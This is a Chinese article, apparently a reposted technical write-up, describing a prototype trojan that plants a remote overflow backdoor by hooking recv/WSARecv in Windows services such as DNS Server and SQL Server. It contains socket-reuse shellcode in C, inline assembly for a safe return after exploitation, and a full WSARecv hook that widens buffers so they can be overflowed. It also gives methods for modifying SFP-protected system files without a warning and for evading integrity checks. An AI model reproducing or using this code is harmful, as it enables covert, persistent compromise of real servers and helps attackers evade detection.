ii. 使用服務(wù)本身的端口進(jìn)行通訊,被動(dòng)直接使用客戶端的SOCKET,可以有效的饒過(guò)防火墻
b) 基本思路
i. 獲得有效的SOCKET描述符
可以通過(guò)SOCKET從某個(gè)值遞增,然后通過(guò)getpeername判斷是否是一個(gè)SOCKET和對(duì)應(yīng)是否是自己的IP地址的SOCKET
ii. 判斷關(guān)聯(lián)的SOCKET描述符的進(jìn)程
在獲得SOCKET描述符存在的問(wèn)題是,由于溢出是在代碼執(zhí)行返回時(shí)才掌握控制權(quán),這個(gè)時(shí)候很可能SOCKET已被正常的關(guān)閉掉了。所以可能需要
我們連2個(gè)上去,一個(gè)發(fā)出溢出包,一個(gè)處于對(duì)方RECV停等的狀態(tài),如果第一個(gè)SOCKET已經(jīng)關(guān)閉的話,可以判斷第二個(gè)來(lái)進(jìn)行復(fù)用處理,這就
需要SHELLCODE做如下的判斷:
1. 有可能第一個(gè)也沒(méi)被關(guān)閉,那么需要有效判斷出第二個(gè)來(lái),只要通過(guò)檢查線程的ID是否和當(dāng)前的匹配就可以
2. 使用第二個(gè)SOCKET以前,需要先懸掛起這個(gè)SOCKET處理的線程,否則無(wú)法正常使用SOCKET
在阻塞式情況下,RECV的代碼會(huì)停留在NtWaitForSingleObject的代碼上,那么我們通過(guò)判斷線程環(huán)境上下文的EIP地址就基本可以獲得大致的
對(duì)應(yīng)的線程,但是也有可能有其他的線程處于同一位置,那么我們可以搜索有效的線程的堆棧空間是否存在對(duì)應(yīng)的SOCKET描述符就可以基本確
定了。
下面就是基本實(shí)現(xiàn)的C代碼:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4)? //SOCKET描述符從0X50開(kāi)始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//對(duì)應(yīng)IP
{
//發(fā)送字節(jié)看是否是已經(jīng)關(guān)閉的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
? SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常處理了
}
//不是的則恢復(fù)線程的執(zhí)行和循環(huán)
c) 但是以上對(duì)線程的判斷方法只對(duì)阻塞式的SOCKET有效,對(duì)于非阻塞式的SOCKET卻無(wú)法判斷,但對(duì)于函數(shù)替換這種方式植入的溢出來(lái)說(shuō)
,非常幸運(yùn)的是:可以確保這個(gè)SOCKET在溢出控制的時(shí)候肯定不會(huì)被關(guān)閉,因此我們完全可以只通用SOCKET的getpeername函數(shù)嘗試就可以判
斷這個(gè)SOCKET描述符了,當(dāng)然我的例子代碼采用了由植入程序保存這個(gè)環(huán)境變量的方法來(lái)復(fù)用這個(gè)SOCKET
3. 對(duì)環(huán)境變量的正常引用
其實(shí)我們把三個(gè)保存的環(huán)境變量都放在溢出的BUF1之前的,相對(duì)于跳轉(zhuǎn)執(zhí)行的SUB ESP,XXX,JMP ESP后,這個(gè)地址是不固定的,可能隨著被
溢出函數(shù)在返回之前的RETN XXX的XXX而變化,因此要用一個(gè)固定的ESP+XXX來(lái)引用這幾個(gè)保存的環(huán)境變量,需要我們更該對(duì)應(yīng)的SUB ESP,XXX
,JMP ESP的XXX大小,幸運(yùn)的是,對(duì)于每個(gè)固定的替換API這個(gè)是固定的,因此我們完全可以針對(duì)每一個(gè)替換的函數(shù)寫固定的XXX在內(nèi),因?yàn)閷?duì)
不同的替換函數(shù)其替換函數(shù)的內(nèi)容也會(huì)變化。
我們的溢出植入只對(duì)函數(shù)調(diào)用級(jí)別的通用,也就是說(shuō)無(wú)論應(yīng)用A和B運(yùn)行在不同的版本的系統(tǒng)上,只要調(diào)用了對(duì)應(yīng)的函數(shù)C,則對(duì)A和B的C函數(shù)的
溢出植入都是通用的。
4. 線程完畢后的處理思考
a) 刪除或終止線程
這樣雖然簡(jiǎn)單,但是容易引起異常和記錄。
b) 保存線程環(huán)境返回原調(diào)用點(diǎn)
那么需要保存和計(jì)算如下的內(nèi)容:
保存溢出SHELLCODE執(zhí)行前的積存器內(nèi)容
保存需要返回的地址值
計(jì)算恢復(fù)后的ESP/EBP,好放入對(duì)應(yīng)的地址值。
最大的考慮則是:在恢復(fù)積存器后,還需要使用積存器讀取返回地址值并放入返回前的ESP和讀取函數(shù)在溢出前提供的函數(shù)參數(shù)大小使得計(jì)算正
常的ESP,因此對(duì)于積存器的保護(hù)需要一點(diǎn)技巧。
c) 線程安全返回的代碼
sub esp,0x13fc????????? //先開(kāi)辟一個(gè)空間,保護(hù)幾個(gè)特殊的積存器
push ebp
push ecx?????????????? //因?yàn)橐斡玫?#xff0c;所以在此處保存eax.ecx
push? eax
sub? esp,xxx?????? //這兒開(kāi)辟的堆棧空間才是真正的SHELLCODE使用的變量存放的空間
push? ebx????????????? 保存其他的積存器
push? ecx
push? edx
push? esi
push? edi
。。。。。。。。。。。。。。。。SHELLCODE功能代碼
執(zhí)行完畢以后實(shí)現(xiàn)縣城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //殺掉打開(kāi)的CMD進(jìn)程
_asm{
mov eax,k???????????? //K是溢出函數(shù)傳入的參數(shù)長(zhǎng)度
mov ebx,retaddr??????? //返回地址
mov ecx,28FCH?????? //ESP回復(fù)到開(kāi)辟的地方
add ecx,eax????????? //考慮溢出函數(shù)傳入的參數(shù)長(zhǎng)度的ESP地址
sub ecx,4???????????? //回到應(yīng)該放置RET的ESP處
mov [esp+ecx],ebx //存放真正的返回地址
pop? edi??????????? //恢復(fù)通用的積存器
pop? esi
pop? edx
pop? ecx
pop? ebx
pop? edi
pop? esi
pop? ebx
add esp,4e4h //ESP減少SHELLCODE使用的堆??臻g
mov? [esp+23F8H],eax?? //寫入K的值,在恢復(fù)積存器以后就可以無(wú)需再使用其他積存器來(lái)使用了
pop ebp??????? //彈出幾個(gè)保護(hù)的特殊積存器
pop eax
pop? ecx
add esp,23ECH?? //到存放K的堆棧上,這樣就可以用[ESP]來(lái)引用這個(gè)值而無(wú)需使用其他積存器,導(dǎo)致已恢復(fù)的積
存器又被破壞掉
add esp,[esp]??? //利用[ESP]引用K實(shí)現(xiàn)ESP+K,來(lái)計(jì)算真正的ESP值
sub esp,4 ? //提前4字節(jié),也就是RETADDR的地方。利用RET進(jìn)行返回
ret
}
5. 演示遠(yuǎn)程SCOKET復(fù)用SHELLCODE溢出TEST服務(wù)
四:闡發(fā)
1. 饒過(guò)WIN2K的系統(tǒng)文件完整性保護(hù)機(jī)制(SFP)
我們的后門和木馬主要的目標(biāo)是修改運(yùn)行具備特權(quán)的服務(wù)和系統(tǒng)文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP機(jī)制來(lái)保護(hù)系統(tǒng)文件
的完整性。那么只有能有效的修改我們需要植入的受系統(tǒng)保護(hù)的文件,我們才能達(dá)到目的。
網(wǎng)上有很多刪除和更新受保護(hù)文件的方法,但是基本思路是同步刪除掉備份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的對(duì)應(yīng)文件,但是這樣會(huì)導(dǎo)致系統(tǒng)跳出一個(gè)無(wú)法正常恢復(fù)受保護(hù)文件的警告框出來(lái),這樣就會(huì)暴露我們的行蹤。
其實(shí)修改受SFP保護(hù)的文件又不引起這個(gè)警告框的方法非常簡(jiǎn)單,就是:同時(shí)獨(dú)占打開(kāi)這兩個(gè)備份的文件,然后再修改受系統(tǒng)保護(hù)的文件,修改
完畢之后,過(guò)一段時(shí)候再關(guān)閉獨(dú)占打開(kāi)這兩個(gè)備份的文件,這樣文件就可以被正常修改而已不會(huì)引發(fā)任何的提示。
當(dāng)然,還有很多其他的方法來(lái)達(dá)到這個(gè)目的,如修改對(duì)應(yīng)文件的校驗(yàn)標(biāo)志等,不過(guò)這種方法是最簡(jiǎn)單和有效的。
a) 演示刪除和更改WIN2K的受保護(hù)的系統(tǒng)文件的方法
2. 通用化測(cè)試
以上就是一個(gè)基本溢出植入型木馬實(shí)現(xiàn)的原形,那么我們最后用實(shí)際的測(cè)試來(lái)驗(yàn)證一下我們的這個(gè)原型是否通用和達(dá)到我們預(yù)期的目的。我們
來(lái)做2個(gè)實(shí)際應(yīng)用和服務(wù)的植入溢出的實(shí)驗(yàn)和通用這個(gè)通用化溢出實(shí)現(xiàn)我們的遠(yuǎn)程控制。
a) 演示DNS SERVER植入recv轉(zhuǎn)發(fā)的遠(yuǎn)程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務(wù)一樣的SHELLCODE和客戶端
使用和植入溢出TEST服務(wù)一樣的木馬執(zhí)行程序和RECV的轉(zhuǎn)發(fā)函數(shù)
??? 唯一不同是給定的木馬執(zhí)行程序的參數(shù)(主要指明需要植入溢出的程序等信息)
1. 演示植入前發(fā)送過(guò)大包失敗
2. 演示植入后,程序在發(fā)送包已經(jīng)到達(dá)我們的轉(zhuǎn)發(fā)程序
3. 演示不影響正常的應(yīng)用
4. 演示溢出后的控制和正常的返回,服務(wù)繼續(xù)可用和可繼續(xù)溢出利用
b) WSARecv函數(shù)的轉(zhuǎn)發(fā)的溢出實(shí)現(xiàn)和演示
那么對(duì)于RECV轉(zhuǎn)發(fā)溢出大家很熟悉了,但這是否限制了我們的應(yīng)用呢?因?yàn)槎鄶?shù)的應(yīng)用是用WSARECV函數(shù)來(lái)實(shí)現(xiàn)的,其實(shí)我們先就有一個(gè)結(jié)論
是:
我們的溢出植入只對(duì)函數(shù)調(diào)用級(jí)別的通用,也就是說(shuō)無(wú)論應(yīng)用A和B運(yùn)行在不同的版本的系統(tǒng)上,只要調(diào)用了對(duì)應(yīng)的函數(shù)C,則對(duì)A和B的C函數(shù)的
溢出植入都是通用的。針對(duì)不同的函數(shù),只要這個(gè)函數(shù)形如FUN(BUF,LEN),LEN是指定BUF長(zhǎng)度的函數(shù),其實(shí)都可以被植入溢出漏洞的。
那么我們就來(lái)實(shí)現(xiàn)一下對(duì)WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替換函數(shù)
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv?????????????? //判斷是否允許在空間范圍內(nèi)溢出
sub esp,119ch??????????????? //擴(kuò)展堆棧
mov eax,[esp+11a0h]???? //保護(hù)環(huán)境變量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push??? ebx??????????????? //保護(hù)積存器
push??? esi
push??? edi
mov???? ebx, [esp+11B0h]?? //保留WSABUF中長(zhǎng)度和地址的參數(shù)
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea???? edi, [esp+18H] //保存WSABUF的BUF到BUF1中后內(nèi)容,避免被溢出覆蓋后不能恢復(fù)
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr???? ecx, 2
repe movsd
mov???? ecx, eax
and???? ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H? //擴(kuò)大 WSABUF長(zhǎng)度使得其能被溢出
mov???? eax, [esp+11c4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push??? eax
push ebx
mov eax, [esp+11C4h]
push eax
call??? WSARecv ?? //轉(zhuǎn)發(fā)到WSARECV
push ecx??????????????? //保存WSARECV返回的有意義的三個(gè)積存器
push eax
push edx
mov edx,[esi+1190H]? //獲得WSABUF的BUF,如果溢出這寫入的返回地址值
mov ecx,[esp+11b4h]? //獲得如果溢出,則需要恢復(fù)回去的內(nèi)容
mov [esi+1190H],ecx? //恢復(fù)到BUF中
mov ecx,[esp+1ch]??? //讀取保留的返回地址
mov [esp+11b4h],ecx? //恢復(fù)到ESP對(duì)應(yīng)的返回地址上,避免被溢出覆蓋,因先保存WSABUF的時(shí)候這個(gè)地址已
經(jīng)被覆蓋了
mov [ebx],edi?????? //寫入WSABUF正常的LEN值
test??? eax, eax???????? //檢查是否接收到包
jne???? loc_4
mov ebx,[esp+11C4H] //獲得收到包的大小
mov ecx,[ebx]
cmp???? ecx, edi??????? //檢查是否溢出
jle???? loc_4
cmp edx,0x90909090? //檢查溢出傳來(lái)的返回地址是否和我們規(guī)定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea???? edi, [esp+24H] //拷貝SHELLCODE到我們的BUF1,同時(shí)恢復(fù)WSABUF中其他變量被覆蓋的值,避免以后SHELLCODE
返回后導(dǎo)致異常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H?????????? //寫入JMP ESP的地址,1010101H會(huì)在植入時(shí)候通過(guò)計(jì)算進(jìn)行正確的替換
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop ??? edi
pop ??? esi
pop ebx
add esp,119cH
retn??? 1ch
}
}
ii. 重載異步IO的SOCKET的內(nèi)存置換的問(wèn)題
這個(gè)替代函數(shù)比RECV函數(shù)要復(fù)雜一些,因?yàn)檫@個(gè)SOCKET是一個(gè)重載異步IO的SOCKET的,在RECV的時(shí)候,其內(nèi)存是不允許置換的,否則這個(gè)重載
異步IO的SOCKET就會(huì)成為一個(gè)非重載異步IO的SOCKET,這樣就會(huì)影響正常的應(yīng)用。同時(shí)對(duì)執(zhí)行WSARECV后被修改的積存器的保護(hù)也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但擴(kuò)大LEN導(dǎo)致溢出的方法,為了正常返回,則將其可能被溢出覆蓋的內(nèi)容
復(fù)制到BUF1上,如果真的發(fā)生溢出以后,再將溢出內(nèi)容拷貝到BUF1,把BUF1的保存內(nèi)存拷貝到被溢出的BUF上,保證程序的正常運(yùn)行。
iii. 演示SQL SERVER植入WSARecv轉(zhuǎn)發(fā)的遠(yuǎn)程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務(wù)一樣的SHELLCODE和客戶端
?? 使用和植入溢出TEST服務(wù)一樣的木馬執(zhí)行程序,只修改WSARECV的轉(zhuǎn)發(fā)函數(shù)體
?? 給定的木馬執(zhí)行程序的參數(shù)(主要指明需要植入溢出的程序等信息)
1. 演示植入前發(fā)送過(guò)大包失敗
2. 演示植入后,程序在發(fā)送包已經(jīng)到達(dá)我們的轉(zhuǎn)發(fā)程序
3. 演示不影響正常的應(yīng)用
5. 演示溢出后的控制和正常的返回,服務(wù)繼續(xù)可用和可繼續(xù)溢出利用
c) 只修改內(nèi)存影象避免文件完整性檢查
最后的討論是,同樣,這樣的原理可以只利用到對(duì)只修改內(nèi)存影象來(lái)到達(dá)溢出植入的目的,這樣就可以避免文件完整性檢查,不過(guò)當(dāng)服務(wù)重啟
以后這個(gè)后門和木馬則不可利用了。
總結(jié)
以上是生活随笔為你收集整理的--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: html5 indexeddb,关于使用
- 下一篇: CHM制作